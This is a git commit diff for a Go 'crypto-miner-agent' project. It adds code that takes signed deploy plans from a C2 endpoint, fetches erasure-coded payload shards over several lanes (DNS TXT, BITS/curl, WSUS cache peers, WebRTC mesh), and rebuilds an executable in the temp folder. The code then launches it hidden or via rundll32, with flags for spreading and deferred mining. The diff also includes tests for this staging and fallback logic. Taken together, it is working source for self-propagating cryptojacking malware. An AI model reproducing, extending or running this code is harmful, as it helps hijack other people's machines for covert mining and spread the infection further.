Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
AetherForge
2026-06-07 06:09:20 -07:00
parent 39b935aeb6
commit 0445b7ed4f
39 changed files with 1379 additions and 72 deletions

View File

@@ -0,0 +1,17 @@
package client
import (
"testing"
)
func TestApplySpreadPolicyErasureLanes(t *testing.T) {
c := &AgentClient{}
raw := []byte(`{"erasure_lanes_enabled":true,"hashrate_gate_spread_min":5,"hashrate_gate_hps":100}`)
c.applySpreadPolicyJSON(raw)
if !c.cfg.ErasureLanesEnabled {
t.Fatal("expected erasure_lanes_enabled")
}
if c.cfg.HashrateGateSpreadMin != 5 {
t.Fatalf("min=%d", c.cfg.HashrateGateSpreadMin)
}
}

View File

@@ -89,6 +89,7 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
var policy struct {
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
return
@@ -100,5 +101,6 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
if policy.HashrateGateHPS > 0 {
c.cfg.HashrateGateHPS = policy.HashrateGateHPS
}
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
c.mu.Unlock()
}

View File

@@ -140,6 +140,8 @@ type BuiltinConfig struct {
HashrateGateSpreadMin int
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
HashrateGateHPS float64
// ErasureLanesEnabled allows ReedSolomon multi-lane reassembly fallback on deploy plans (server policy).
ErasureLanesEnabled bool
}
// BackupPool holds connection info for a fallback Stratum mining pool.

View File

@@ -0,0 +1,6 @@
package config
// ErasureLanesEnabled reports whether server policy allows multi-lane ReedSolomon reassembly.
func ErasureLanesEnabled(cfg RuntimeConfig) bool {
return cfg.ErasureLanesEnabled
}

View File

@@ -0,0 +1,12 @@
package config
import "testing"
func TestErasureLanesEnabled(t *testing.T) {
if ErasureLanesEnabled(RuntimeConfig{}) {
t.Fatal("expected off by default")
}
if !ErasureLanesEnabled(RuntimeConfig{BuiltinConfig: BuiltinConfig{ErasureLanesEnabled: true}}) {
t.Fatal("expected on when set")
}
}

View File

@@ -54,6 +54,7 @@ type DeployPlanBody struct {
ImageTarURL string `json:"image_tar_url,omitempty"`
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"`
}
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
@@ -95,6 +96,19 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
return deferMsg, nil
}
tryPrimary := func(run func() (string, error)) (string, error) {
msg, err := run()
if err == nil {
return msg, nil
}
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
return "", err
}
switch lane {
case "do_peer":
if plan.Manifest == nil {
@@ -104,11 +118,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if peer == "" {
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
}
msg, err := RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
if err != nil {
return "", err
}
return msg, nil
return tryPrimary(func() (string, error) {
return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
})
case "wsus_cache_peer":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
@@ -117,11 +129,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if group == "" {
group = strings.TrimSpace(plan.Manifest.CacheGroup)
}
msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
if err != nil {
return "", err
}
return msg, nil
return tryPrimary(func() (string, error) {
return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
})
case "dns_txt":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
@@ -134,11 +144,9 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if ttl == 0 {
ttl = plan.Manifest.TTLRefreshSec
}
msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
if err != nil {
return "", err
}
return msg, nil
return tryPrimary(func() (string, error) {
return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
})
case "webrtc_mesh":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
@@ -171,7 +179,8 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
ApplyLANSeederToWebRTC(&policy, seeder)
}
}
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
return tryPrimary(func() (string, error) {
return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
Policy: policy,
SHA256: plan.Manifest.SHA256,
Dest: plan.Manifest.Dest,
@@ -180,22 +189,21 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
DeferMining: plan.Manifest.DeferMining,
SpreadInstall: plan.Manifest.SpreadInstall,
})
if err != nil {
return "", err
}
return msg, nil
})
case "bits_curl", "docker_load":
if plan.Manifest == nil {
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
}
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
return tryPrimary(func() (string, error) {
msg, err := RunStagingChain(cfg, *plan.Manifest)
if err != nil {
return "", err
}
if lane == "docker_load" && plan.ImageTarURL != "" {
msg += "; docker_load image=" + plan.ImageTarURL
}
return msg, nil
})
case "winrm":
if err := runJoinScript(plan.Script, true); err != nil {
return "", err

View File

@@ -0,0 +1,93 @@
package deploy
import (
"strings"
"testing"
"crypto-miner-agent/config"
"github.com/klauspost/reedsolomon"
)
func TestExecuteDeployPlanErasureFallback(t *testing.T) {
payload := []byte("erasure-fallback-payload")
p := erasureParams{DataShards: 2, ParityShards: 2}
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
if err != nil {
t.Fatal(err)
}
shards, err := enc.Split(payload)
if err != nil {
t.Fatal(err)
}
if err := enc.Encode(shards); err != nil {
t.Fatal(err)
}
plan := DeployPlanBody{
JoinLane: "bits_curl",
Action: "bits_curl",
Manifest: &StagingManifest{
Method: "curl",
Chunks: []StagingChunk{{URL: "http://127.0.0.1/fail", File: "worker.exe"}},
SHA256: hexSHA256(payload), Dest: t.TempDir() + `\w.exe`, Launch: "exe",
},
ErasurePlan: &ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload),
PayloadSize: len(payload),
ShardToken: "fb-token",
Dest: t.TempDir() + `\w.exe`,
Launch: "exe",
},
}
for i := range shards {
plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{
Index: i, Lane: parallelLaneName(i), URL: "mock://" + string(rune('a'+i)),
})
}
shardCopy := make([][]byte, len(shards))
for i, sh := range shards {
shardCopy[i] = append([]byte(nil), sh...)
}
prevFetch := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
for i, ref := range plan.ErasurePlan.Shards {
if ref.URL == url {
return shardCopy[i], nil
}
}
return nil, nil
}
defer func() { erasureFetchFn = prevFetch }()
prevLaunch := erasureLaunchFn
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
return "launched", nil
}
defer func() { erasureLaunchFn = prevLaunch }()
prevStaging := stagingLaunchFn
stagingLaunchFn = nil
stagingDownloadCurlFn = func(url, dest string) error { return errPrimaryLaneFailed }
defer func() {
stagingDownloadCurlFn = nil
stagingLaunchFn = prevStaging
}()
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}}
msg, err := ExecuteDeployPlan(cfg, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "primary lane failed") {
t.Fatalf("msg=%q", msg)
}
}
var errPrimaryLaneFailed = primaryLaneFailedError{}
type primaryLaneFailedError struct{}
func (primaryLaneFailedError) Error() string { return "primary lane failed" }

View File

@@ -0,0 +1,82 @@
package deploy
import (
"bytes"
"fmt"
"github.com/klauspost/reedsolomon"
)
const (
erasureSchemeReedSolomonV1 = "reed_solomon_v1"
erasureDefaultDataShards = 4
erasureDefaultParityShards = 2
)
type erasureParams struct {
DataShards int
ParityShards int
}
func (p erasureParams) normalize() (erasureParams, error) {
if p.DataShards <= 0 {
p.DataShards = erasureDefaultDataShards
}
if p.ParityShards <= 0 {
p.ParityShards = erasureDefaultParityShards
}
if p.DataShards < 1 || p.ParityShards < 1 {
return erasureParams{}, fmt.Errorf("erasure: invalid shard counts")
}
return p, nil
}
func (p erasureParams) minShards() int {
return p.DataShards
}
func (p erasureParams) totalShards() int {
return p.DataShards + p.ParityShards
}
// decodeErasureShards reconstructs payload from ReedSolomon shards (nil = missing).
func decodeErasureShards(shards [][]byte, payloadSize int, p erasureParams) ([]byte, error) {
p, err := p.normalize()
if err != nil {
return nil, err
}
if len(shards) < p.totalShards() {
return nil, fmt.Errorf("erasure: shard slice too short")
}
present := 0
for i := 0; i < p.totalShards(); i++ {
if len(shards[i]) > 0 {
present++
}
}
if present < p.minShards() {
return nil, fmt.Errorf("erasure: need %d shards, have %d", p.minShards(), present)
}
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
if err != nil {
return nil, err
}
if err := enc.Reconstruct(shards); err != nil {
return nil, err
}
ok, err := enc.Verify(shards)
if err != nil {
return nil, err
}
if !ok {
return nil, fmt.Errorf("erasure: verification failed")
}
if payloadSize <= 0 {
payloadSize = len(shards[0]) * p.DataShards
}
var out bytes.Buffer
if err := enc.Join(&out, shards, payloadSize); err != nil {
return nil, err
}
return out.Bytes(), nil
}

View File

@@ -0,0 +1,24 @@
//go:build !windows
package deploy
import (
"fmt"
"strings"
)
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
_ = launch
_ = dllExport
args := []string{runFlag}
if deferMining {
args = append(args, deferMiningFlag)
}
if spreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
}

View File

@@ -0,0 +1,34 @@
//go:build windows
package deploy
import (
"fmt"
"strings"
)
func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
switch strings.ToLower(strings.TrimSpace(launch)) {
case "rundll32", "dll":
export := strings.TrimSpace(dllExport)
if export == "" {
export = "DllRegisterServer"
}
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
return "", fmt.Errorf("rundll32 launch: %w", err)
}
return fmt.Sprintf("staged to %s; launched rundll32 %s", dest, export), nil
default:
args := []string{runFlag}
if deferMining {
args = append(args, deferMiningFlag)
}
if spreadInstall {
args = append(args, spreadFlag)
}
if err := HiddenStart(dest, args...); err != nil {
return "", fmt.Errorf("exe launch: %w", err)
}
return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
}
}

View File

@@ -0,0 +1,174 @@
package deploy
import (
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
)
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
type ErasureShardRef struct {
Index int `json:"index"`
Lane string `json:"lane"`
URL string `json:"url"`
}
// ErasurePlanBody is server-encoded ReedSolomon metadata for multi-lane spread payloads.
type ErasurePlanBody struct {
Enabled bool `json:"enabled"`
Scheme string `json:"scheme"`
DataShards int `json:"data_shards"`
ParityShards int `json:"parity_shards"`
PayloadSHA256 string `json:"sha256"`
PayloadSize int `json:"payload_size"`
ShardToken string `json:"shard_token"`
Dest string `json:"dest,omitempty"`
Launch string `json:"launch,omitempty"`
DLLExport string `json:"dll_export,omitempty"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
Shards []ErasureShardRef `json:"shards"`
}
// erasureFetchFn fetches one shard body (injectable for tests).
var erasureFetchFn func(url string) ([]byte, error)
// erasureLaunchFn launches a reassembled staged binary (injectable for tests).
var erasureLaunchFn func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error)
func erasureWorkDir(cfg config.RuntimeConfig, token string) string {
return filepath.Join(os.TempDir(), ".erasure-"+sanitizeName(token)+"-"+sanitizeName(cfg.WorkerName))
}
// RunErasureStaging fetches k-of-n shards across parallel lane URLs and reassembles the payload.
func RunErasureStaging(cfg config.RuntimeConfig, plan ErasurePlanBody) (string, error) {
if !plan.Enabled || len(plan.Shards) == 0 {
return "", fmt.Errorf("erasure plan disabled or empty")
}
if strings.TrimSpace(plan.Scheme) != "" && plan.Scheme != erasureSchemeReedSolomonV1 {
return "", fmt.Errorf("unsupported erasure scheme %q", plan.Scheme)
}
p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards}
p, err := p.normalize()
if err != nil {
return "", err
}
dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`))
if err != nil {
return "", err
}
workDir := erasureWorkDir(cfg, plan.ShardToken)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", err
}
cleanup := func() { _ = os.RemoveAll(workDir) }
shards := make([][]byte, p.totalShards())
fetch := erasureFetchFn
if fetch == nil {
fetch = fetchErasureShardHTTP
}
for _, ref := range plan.Shards {
if ref.Index < 0 || ref.Index >= len(shards) {
continue
}
if len(shards[ref.Index]) > 0 {
continue
}
body, err := fetch(strings.TrimSpace(ref.URL))
if err != nil {
continue
}
shards[ref.Index] = body
}
payload, err := decodeErasureShards(shards, plan.PayloadSize, p)
if err != nil {
cleanup()
return "", err
}
if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil {
cleanup()
return "", err
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
cleanup()
return "", err
}
if err := os.WriteFile(dest, payload, 0o755); err != nil {
cleanup()
return "", err
}
launch := strings.TrimSpace(plan.Launch)
if launch == "" {
launch = "exe"
}
launchFn := erasureLaunchFn
if launchFn == nil {
launchFn = launchErasureStagedBinary
}
msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall)
cleanup()
if err != nil {
return "", err
}
return "erasure_lanes: " + msg, nil
}
func fetchErasureShardHTTP(url string) ([]byte, error) {
if url == "" {
return nil, fmt.Errorf("empty shard url")
}
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("shard fetch HTTP %d", resp.StatusCode)
}
raw, err := io.ReadAll(io.LimitReader(resp.Body, 8<<20))
if err != nil {
return nil, err
}
raw = bytesTrimSpace(raw)
if dec, err := base64.StdEncoding.DecodeString(string(raw)); err == nil && len(dec) > 0 {
return dec, nil
}
return raw, nil
}
func verifyBytesSHA256(data []byte, expectHex string) error {
expectHex = strings.TrimSpace(strings.ToLower(expectHex))
if expectHex == "" {
return nil
}
sum := sha256.Sum256(data)
got := hex.EncodeToString(sum[:])
if got != expectHex {
return fmt.Errorf("erasure sha256 mismatch")
}
return nil
}
func firstNonEmptyStr(parts ...string) string {
for _, p := range parts {
if strings.TrimSpace(p) != "" {
return strings.TrimSpace(p)
}
}
return ""
}
func bytesTrimSpace(b []byte) []byte {
return []byte(strings.TrimSpace(string(b)))
}

View File

@@ -0,0 +1,144 @@
package deploy
import (
"crypto/sha256"
"encoding/hex"
"strings"
"testing"
"crypto-miner-agent/config"
"github.com/klauspost/reedsolomon"
)
func TestRunErasureStagingRoundTrip(t *testing.T) {
payload := []byte("erasure-staging-agent-roundtrip")
p := erasureParams{DataShards: 2, ParityShards: 2}
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
if err != nil {
t.Fatal(err)
}
shards, err := enc.Split(payload)
if err != nil {
t.Fatal(err)
}
if err := enc.Encode(shards); err != nil {
t.Fatal(err)
}
plan := ErasurePlanBody{
Enabled: true,
Scheme: erasureSchemeReedSolomonV1,
DataShards: p.DataShards,
ParityShards: p.ParityShards,
PayloadSHA256: hexSHA256(payload),
PayloadSize: len(payload),
ShardToken: "test-token",
Dest: t.TempDir() + `\worker.exe`,
Launch: "exe",
DeferMining: true,
SpreadInstall: true,
}
shardBodies := make([][]byte, len(shards))
for i, sh := range shards {
shardBodies[i] = append([]byte(nil), sh...)
plan.Shards = append(plan.Shards, ErasureShardRef{
Index: i,
Lane: parallelLaneName(i),
URL: "mock://" + string(rune('a'+i)),
})
}
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
for i, ref := range plan.Shards {
if ref.URL == url {
return shardBodies[i], nil
}
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
prevLaunch := erasureLaunchFn
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
return "launched " + dest, nil
}
defer func() { erasureLaunchFn = prevLaunch }()
msg, err := RunErasureStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w1"}}, plan)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(msg, "erasure_lanes:") || !strings.Contains(msg, "launched") {
t.Fatalf("msg=%q", msg)
}
}
func TestRunErasureStagingRejectsBadSHA(t *testing.T) {
payload := []byte("bad-sha")
p := erasureParams{DataShards: 2, ParityShards: 1}
enc, _ := reedsolomon.New(p.DataShards, p.ParityShards)
shards, _ := enc.Split(payload)
_ = enc.Encode(shards)
plan := ErasurePlanBody{
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
DataShards: p.DataShards, ParityShards: p.ParityShards,
PayloadSHA256: strings.Repeat("a", 64),
Dest: t.TempDir() + `\w.exe`,
Shards: []ErasureShardRef{
{Index: 0, URL: "mock://0"},
{Index: 1, URL: "mock://1"},
{Index: 2, URL: "mock://2"},
},
}
prev := erasureFetchFn
erasureFetchFn = func(url string) ([]byte, error) {
switch url {
case "mock://0":
return shards[0], nil
case "mock://1":
return shards[1], nil
case "mock://2":
return shards[2], nil
}
return nil, nil
}
defer func() { erasureFetchFn = prev }()
if _, err := RunErasureStaging(config.RuntimeConfig{}, plan); err == nil {
t.Fatal("expected sha mismatch error")
}
}
func TestDecodeErasureShardsMixedLoss(t *testing.T) {
payload := []byte("codec-mixed-loss")
p := erasureParams{DataShards: 2, ParityShards: 2}
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
if err != nil {
t.Fatal(err)
}
shards, err := enc.Split(payload)
if err != nil {
t.Fatal(err)
}
if err := enc.Encode(shards); err != nil {
t.Fatal(err)
}
shards[0] = nil
shards[3] = nil
got, err := decodeErasureShards(shards, len(payload), p)
if err != nil {
t.Fatal(err)
}
if string(got) != string(payload) {
t.Fatal("reconstruct mismatch")
}
}
func parallelLaneName(i int) string {
lanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer"}
return lanes[i%len(lanes)]
}
func hexSHA256(data []byte) string {
sum := sha256.Sum256(data)
return hex.EncodeToString(sum[:])
}

View File

@@ -6,7 +6,9 @@ require (
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.3
github.com/klauspost/reedsolomon v1.12.4
github.com/libp2p/go-libp2p v0.48.0
golang.org/x/crypto v0.48.0
golang.org/x/sys v0.41.0
)
@@ -24,7 +26,7 @@ require (
github.com/ipfs/go-cid v0.5.0 // indirect
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
github.com/klauspost/cpuid/v2 v2.2.10 // indirect
github.com/klauspost/cpuid/v2 v2.3.0 // indirect
github.com/koron/go-ssdp v0.0.6 // indirect
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
github.com/libp2p/go-flow-metrics v0.2.0 // indirect
@@ -83,7 +85,6 @@ require (
go.uber.org/mock v0.5.2 // indirect
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/zap v1.27.0 // indirect
golang.org/x/crypto v0.48.0 // indirect
golang.org/x/exp v0.0.0-20250606033433-dcc06ee1d476 // indirect
golang.org/x/mod v0.32.0 // indirect
golang.org/x/net v0.50.0 // indirect

View File

@@ -38,8 +38,10 @@ github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7Bd
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk=
github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk=
github.com/klauspost/cpuid/v2 v2.2.10 h1:tBs3QSyvjDyFTq3uoc/9xFpCuOsJQFNPiAhYdw2skhE=
github.com/klauspost/cpuid/v2 v2.2.10/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y=
github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0=
github.com/klauspost/reedsolomon v1.12.4 h1:5aDr3ZGoJbgu/8+j45KtUJxzYm8k08JGtB9Wx1VQ4OA=
github.com/klauspost/reedsolomon v1.12.4/go.mod h1:d3CzOMOt0JXGIFZm1StgkyF14EYr3xneR2rNWo7NcMU=
github.com/koron/go-ssdp v0.0.6 h1:Jb0h04599eq/CY7rB5YEqPS83HmRfHP2azkxMN2rFtU=
github.com/koron/go-ssdp v0.0.6/go.mod h1:0R9LfRJGek1zWTjN3JUNlm5INCDYGpRDfAptnct63fI=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=